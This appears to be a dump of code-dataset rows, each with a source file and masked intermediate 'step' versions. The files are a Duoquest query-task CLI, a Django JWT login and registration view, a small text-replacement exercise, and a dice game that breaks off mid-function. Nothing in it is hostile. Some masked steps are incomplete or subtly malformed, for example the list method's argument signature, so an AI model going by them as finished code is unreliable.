print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row def main(): config = configparser.ConfigParser() config.read('config.ini') db_path = config['db']['path'] conn = sqlite3.connect(db_path) db_name = input_db_name(conn) nlq = input_nlq() num_cols = input_num_cols() tsq = TableSketchQuery(num_cols) tsq.types = input_tsq_types(num_cols) tsq_row_count = input_tsq_row_count() for i in range(tsq_row_count): tsq.values.append(input_tsq_row(i+1, tsq.types)) tsq.order = input_order() tsq.limit = input_limit() print(tsq.to_proto()) cur = conn.cursor() cur.execute('''INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time) VALUES (?, ?, ?, ?, ?, ?)''', (str(uuid.uuid4()), db_name, nlq, tsq.to_proto().SerializeToString(), 'waiting', int(time.time()))) conn.commit() conn.close() if __name__ == '__main__': main()	flexible	{ "blob_id": "54ec1961f4835f575e7129bd0b2fcdeb97be2f03", "index": 93, "step-1": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\n<mask token>\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\n<mask token>\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\n<mask token>\n", "step-4": "import configparser\nimport sqlite3\nimport time\nimport uuid\nfrom duoquest.tsq import TableSketchQuery\n\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n return types\n\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n return tsq_row\n\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n db_path = config['db']['path']\n conn = sqlite3.connect(db_path)\n db_name = input_db_name(conn)\n nlq = input_nlq()\n num_cols = input_num_cols()\n tsq = TableSketchQuery(num_cols)\n tsq.types = input_tsq_types(num_cols)\n tsq_row_count = input_tsq_row_count()\n for i in range(tsq_row_count):\n tsq.values.append(input_tsq_row(i + 1, tsq.types))\n tsq.order = input_order()\n tsq.limit = input_limit()\n print(tsq.to_proto())\n cur = conn.cursor()\n cur.execute(\n \"\"\"INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time)\n VALUES (?, ?, ?, ?, ?, ?)\"\"\"\n , (str(uuid.uuid4()), db_name, nlq, tsq.to_proto().\n SerializeToString(), 'waiting', int(time.time())))\n conn.commit()\n conn.close()\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import configparser\nimport sqlite3\nimport time\nimport uuid\n\nfrom duoquest.tsq import TableSketchQuery\n\ndef input_db_name(conn):\n while True:\n db_name = input('Database name (default: concert_singer) > ')\n if not db_name:\n db_name = 'concert_singer'\n cur = conn.cursor()\n\n cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,))\n if cur.fetchone():\n break\n else:\n print(f'<{db_name}> is not a valid database.')\n return db_name\n\ndef input_nlq():\n nlq = input('NLQ (default: How many singers are there?)> ')\n if not nlq:\n nlq = 'How many singers are there?'\n return nlq\n\ndef input_num_cols():\n while True:\n num_cols = input('Number of columns > ')\n try:\n num_cols = int(num_cols)\n break\n except Exception as e:\n print('Number of columns should be integer!')\n return num_cols\n\ndef input_order():\n ordered = False\n while True:\n order_input = input('Should results be ordered? (y/n) > ')\n if order_input == 'y':\n ordered = True\n break\n elif order_input == 'n':\n break\n else:\n print('y/n only!')\n return ordered\n\ndef input_limit():\n limit = None\n while True:\n limit_input = input('Limit results to n tuples? (int or blank) > ')\n if not limit_input:\n break\n try:\n limit = int(limit_input)\n break\n except Exception as e:\n print('int or blank only!')\n return limit\n\ndef input_tsq_types(num_cols):\n while True:\n types_input = input('Types (`text` or `number`, comma separated)> ')\n types = list(map(lambda x: x.strip(), types_input.split(',')))\n\n if any(map(lambda x: x not in ('text', 'number'), types)):\n print('Types must be `text` or `number`')\n continue\n\n if len(types) != num_cols:\n print('Number of types must match number of columns.')\n continue\n break\n\n return types\n\ndef input_tsq_row_count():\n tsq_row_count = 0\n while True:\n tsq_row_count_input = input('Number of TSQ rows (int) > ')\n try:\n tsq_row_count = int(tsq_row_count_input)\n break\n except Exception as e:\n print('int only!')\n return tsq_row_count\n\ndef input_tsq_row(row_num, tsq_types):\n while True:\n row_input = input(f'Row {row_num} (semicolon-separated values) > ')\n tsq_row = list(map(lambda x: x.strip(), row_input.split(';')))\n\n validated = True\n for i, cell in enumerate(tsq_row):\n if tsq_types[i] == 'number':\n try:\n float(cell)\n except Exception as e:\n print('At least one cell value is invalid.')\n validated = False\n break\n if validated:\n break\n\n return tsq_row\n\ndef main():\n config = configparser.ConfigParser()\n config.read('config.ini')\n db_path = config['db']['path']\n\n conn = sqlite3.connect(db_path)\n\n db_name = input_db_name(conn)\n nlq = input_nlq()\n num_cols = input_num_cols()\n\n tsq = TableSketchQuery(num_cols)\n\n tsq.types = input_tsq_types(num_cols)\n\n tsq_row_count = input_tsq_row_count()\n for i in range(tsq_row_count):\n tsq.values.append(input_tsq_row(i+1, tsq.types))\n\n tsq.order = input_order()\n tsq.limit = input_limit()\n\n print(tsq.to_proto())\n\n cur = conn.cursor()\n cur.execute('''INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time)\n VALUES (?, ?, ?, ?, ?, ?)''',\n (str(uuid.uuid4()), db_name, nlq,\n tsq.to_proto().SerializeToString(), 'waiting',\n int(time.time())))\n conn.commit()\n conn.close()\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 6, 7, 8, 11, 12 ] }	[ 6, 7, 8, 11, 12 ]
import os from datetime import datetime, timedelta from django.shortcuts import render from django.utils.decorators import method_decorator from rest_framework.viewsets import GenericViewSet, mixins from common.jwt_util import generate_jwt from .serializers import ApiUser, ApiUserSerializer, UserSerializer from common.myresponse import StatusResponse from rest_framework.generics import GenericAPIView from .models import User from common.utils.login_util import login_decorator # Create your views here. @method_decorator(login_decorator,name="list") class UsersOptionsView(GenericViewSet, mixins.ListModelMixin): """ list: 返回用户列表 """ serializer_class = ApiUserSerializer queryset = User.objects.filter(is_superuser=0,is_active=1).all() def list(self, request, args, *kwargs): return StatusResponse(data=super().list(request).data) class UserLoginView(GenericAPIView): def _generate_tokens(self, user_id, with_refresh_token=True): """ 生成token 和refresh_token :param user_id: 用户id :return: token, refresh_token """ # 颁发JWT now = datetime.utcnow() expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS'])) token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry) refresh_token = None if with_refresh_token: refresh_expiry = now + timedelta(days=float(os.environ['JWT_REFRESH_DAYS'])) refresh_token = generate_jwt({'user_id': user_id, 'refresh': True}, refresh_expiry) return token, refresh_token def post(self, request): username = request.data.get("username") password = request.data.get("password") try: user = User.objects.get(username=username) except User.DoesNotExist as e: return StatusResponse(http_code=400,data={"tip": "用户不存在"}) if user is not None and user.check_password(password): token, refresh_token = self._generate_tokens(user.id, with_refresh_token=True) data = { "token": token, "refresh_token": refresh_token, "id": user.id, "username": user.username } response = StatusResponse(data=data, http_code=201) return response return StatusResponse(http_code=400,data={"tip":"登录失败"}) def put(self,request): if request.user_id and request.refresh: token,refresh_token = self._generate_tokens(request.user_id, with_refresh_token=False) data ={ "id":request.user_id, "token":token } response = StatusResponse(data=data, http_code=201) return response else: return StatusResponse(http_code=401, data={"tip": "token刷新失败"}) class UserRegistView(GenericAPIView): serializer_class = UserSerializer def post(self, request): serializer = self.get_serializer(data=request.data) serializer.is_valid(raise_exception=True) serializer.save() return StatusResponse(http_code=200,data=serializer.data)	normal	{ "blob_id": "0457ac2ecd0a951b0088c887539ab696797d68bc", "index": 4557, "step-1": "<mask token>\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-2": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-3": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n <mask token>\n serializer_class = ApiUserSerializer\n queryset = User.objects.filter(is_superuser=0, is_active=1).all()\n\n def list(self, request, args, kwargs):\n return StatusResponse(data=super().list(request).data)\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-4": "<mask token>\n\n\n@method_decorator(login_decorator, name='list')\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\n \"\"\"\n list:\n 返回用户列表\n \"\"\"\n serializer_class = ApiUserSerializer\n queryset = User.objects.filter(is_superuser=0, is_active=1).all()\n\n def list(self, request, args, *kwargs):\n return StatusResponse(data=super().list(request).data)\n\n\nclass UserLoginView(GenericAPIView):\n\n def _generate_tokens(self, user_id, with_refresh_token=True):\n \"\"\"\n 生成token 和refresh_token\n :param user_id: 用户id\n :return: token, refresh_token\n \"\"\"\n now = datetime.utcnow()\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\n refresh_token = None\n if with_refresh_token:\n refresh_expiry = now + timedelta(days=float(os.environ[\n 'JWT_REFRESH_DAYS']))\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': \n True}, refresh_expiry)\n return token, refresh_token\n\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n try:\n user = User.objects.get(username=username)\n except User.DoesNotExist as e:\n return StatusResponse(http_code=400, data={'tip': '用户不存在'})\n if user is not None and user.check_password(password):\n token, refresh_token = self._generate_tokens(user.id,\n with_refresh_token=True)\n data = {'token': token, 'refresh_token': refresh_token, 'id':\n user.id, 'username': user.username}\n response = StatusResponse(data=data, http_code=201)\n return response\n return StatusResponse(http_code=400, data={'tip': '登录失败'})\n\n def put(self, request):\n if request.user_id and request.refresh:\n token, refresh_token = self._generate_tokens(request.user_id,\n with_refresh_token=False)\n data = {'id': request.user_id, 'token': token}\n response = StatusResponse(data=data, http_code=201)\n return response\n else:\n return StatusResponse(http_code=401, data={'tip': 'token刷新失败'})\n\n\nclass UserRegistView(GenericAPIView):\n serializer_class = UserSerializer\n\n def post(self, request):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n return StatusResponse(http_code=200, data=serializer.data)\n", "step-5": "import os\r\nfrom datetime import datetime, timedelta\r\n\r\nfrom django.shortcuts import render\r\nfrom django.utils.decorators import method_decorator\r\nfrom rest_framework.viewsets import GenericViewSet, mixins\r\n\r\nfrom common.jwt_util import generate_jwt\r\nfrom .serializers import ApiUser, ApiUserSerializer, UserSerializer\r\nfrom common.myresponse import StatusResponse\r\nfrom rest_framework.generics import GenericAPIView\r\nfrom .models import User\r\nfrom common.utils.login_util import login_decorator\r\n\r\n\r\n# Create your views here.\r\n\r\n@method_decorator(login_decorator,name=\"list\")\r\nclass UsersOptionsView(GenericViewSet, mixins.ListModelMixin):\r\n \"\"\"\r\n list:\r\n 返回用户列表\r\n \"\"\"\r\n serializer_class = ApiUserSerializer\r\n queryset = User.objects.filter(is_superuser=0,is_active=1).all()\r\n\r\n def list(self, request, args, **kwargs):\r\n return StatusResponse(data=super().list(request).data)\r\n\r\n\r\n\r\nclass UserLoginView(GenericAPIView):\r\n def _generate_tokens(self, user_id, with_refresh_token=True):\r\n \"\"\"\r\n 生成token 和refresh_token\r\n :param user_id: 用户id\r\n :return: token, refresh_token\r\n \"\"\"\r\n # 颁发JWT\r\n now = datetime.utcnow()\r\n expiry = now + timedelta(hours=float(os.environ['JWT_EXPIRY_HOURS']))\r\n token = generate_jwt({'user_id': user_id, 'refresh': False}, expiry)\r\n\r\n refresh_token = None\r\n if with_refresh_token:\r\n refresh_expiry = now + timedelta(days=float(os.environ['JWT_REFRESH_DAYS']))\r\n refresh_token = generate_jwt({'user_id': user_id, 'refresh': True}, refresh_expiry)\r\n return token, refresh_token\r\n\r\n def post(self, request):\r\n\r\n username = request.data.get(\"username\")\r\n password = request.data.get(\"password\")\r\n try:\r\n user = User.objects.get(username=username)\r\n except User.DoesNotExist as e:\r\n return StatusResponse(http_code=400,data={\"tip\": \"用户不存在\"})\r\n\r\n if user is not None and user.check_password(password):\r\n token, refresh_token = self._generate_tokens(user.id, with_refresh_token=True)\r\n data = {\r\n \"token\": token,\r\n \"refresh_token\": refresh_token,\r\n \"id\": user.id,\r\n \"username\": user.username\r\n }\r\n response = StatusResponse(data=data, http_code=201)\r\n return response\r\n return StatusResponse(http_code=400,data={\"tip\":\"登录失败\"})\r\n def put(self,request):\r\n if request.user_id and request.refresh:\r\n token,refresh_token = self._generate_tokens(request.user_id, with_refresh_token=False)\r\n data ={\r\n \"id\":request.user_id,\r\n \"token\":token\r\n }\r\n response = StatusResponse(data=data, http_code=201)\r\n return response\r\n else:\r\n return StatusResponse(http_code=401, data={\"tip\": \"token刷新失败\"})\r\n\r\nclass UserRegistView(GenericAPIView):\r\n serializer_class = UserSerializer\r\n def post(self, request):\r\n serializer = self.get_serializer(data=request.data)\r\n serializer.is_valid(raise_exception=True)\r\n serializer.save()\r\n return StatusResponse(http_code=200,data=serializer.data)\r\n", "step-ids": [ 7, 8, 10, 11, 13 ] }	[ 7, 8, 10, 11, 13 ]
''' Функція replace() може використовуватися для заміни будь-якого слова у рядку іншим словом. Прочитайте кожен рядок зі створеного у попередньому завданні файлу learning_python.txt і замініть слово Python назвою іншої мови, наприклад C при виведенні на екран. Це завдання написати в окремій функції. ''' def reader(): with open('possibilities.txt', 'r') as file1: file_lines = [x.strip() for x in file1.readlines()] for e in file_lines: n = e.replace('Python', 'C++') print(n) if __name__ == '__main__': reader()	normal	{ "blob_id": "6d80a89a47b68fd8d81739787897355671ca94e9", "index": 5815, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\nif __name__ == '__main__':\n reader()\n", "step-4": "'''\nФункція replace() може використовуватися для заміни будь-якого слова у рядку іншим словом.\nПрочитайте кожен рядок зі створеного у попередньому завданні файлу learning_python.txt і замініть слово Python назвою іншої мови,\nнаприклад C при виведенні на екран. Це завдання написати в окремій функції.\n'''\n\n\ndef reader():\n with open('possibilities.txt', 'r') as file1:\n file_lines = [x.strip() for x in file1.readlines()]\n for e in file_lines:\n n = e.replace('Python', 'C++')\n print(n)\n\n\nif __name__ == '__main__':\n reader()\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> def multi(): scc = [6, 5, 4] sc = [6, 5] cc = [5, 4] crew = [4] captain = [5] ship = [6] n = 0 while n <= 2: inp = input('Hit enter to roll') if inp == '': roll5 = random.choices(range(1, 7), k=5) print(roll5) if set(scc).issubset(roll5): result_scc = [i for i in roll5 if not i in scc or scc.remove(i) ] total_scc = sum(result_scc) inp_scc = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc == 'both': print('Total score: ' + str(total_scc) + '.') if inp_scc == 'neither': roll2_scc = random.choices(range(1, 7), k=2) print(roll2_scc) inp_scc_none = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_scc_none == 'both': total_scc_none = sum(roll2_scc) print('Total score: ' + str(total_scc_none) + '.') if inp_scc_none == 'neither': roll2_scc_none = random.choices(range(1, 7), k=2) total_scc_none2 = sum(roll2_scc_none) print(roll2_scc_none) print('Your total score is: ' + str(total_scc_none2 ) + '.') if inp_scc_none == 'one': inp_scc_none_one = input( 'Which die do you want to keep? ') roll1_scc_none_one = random.randint(1, 6) total_scc_none_one = roll1_scc_none_one + int( inp_scc_none_one) print(roll1_scc_none_one) print('Your total score is: ' + str( total_scc_none_one) + '.') if inp_scc == 'one': inp_scc_one = input('Which die do you want to keep? ') roll1_scc_one = random.randint(1, 6) print(roll1_scc_one) total_scc_one = roll1_scc_one + int(inp_scc_one) inp_scc_one2 = input( "Hit enter to roll again or type 'pass' to keep your score " ) if inp_scc_one2 == 'pass': print('Your total score is: ' + str(total_scc_one) + '.') if inp_scc_one2 == '': roll1_scc_one2 = random.randint(1, 6) print(roll1_scc_one2) total_scc_one2 = roll1_scc_one2 + int(inp_scc_one) print('Your total score is: ' + str(total_scc_one2) + '.') if set(sc).issubset(roll5): inp_sc = input( 'Now you need a 4(the Crew). Hit enter to roll the remaining dice' ) if inp_sc == '': roll3 = random.choices(range(1, 7), k=3) print(roll3) if set(crew).issubset(roll3): result_crew = [i for i in roll3 if not i in crew or crew.remove(i)] total_crew = sum(result_crew) inp_crew = input( 'Do you wish to keep one, both, or neither of the remaining dice? ' ) if inp_crew == 'both': print('Total score: ' + str(total_crew) + '.') if inp_crew == 'neither': roll2_crew = random.choices(range(1, 7), k=2) print(roll2_crew) total_crew_none = sum(roll2_crew) print('Your total score is: ' + str( total_crew_none) + '.') if inp_crew == 'one': inp_crew_one = input( 'Which die do you want to keep? ') roll1_crew_one = random.randint(1, 6) print(roll1_crew_one) 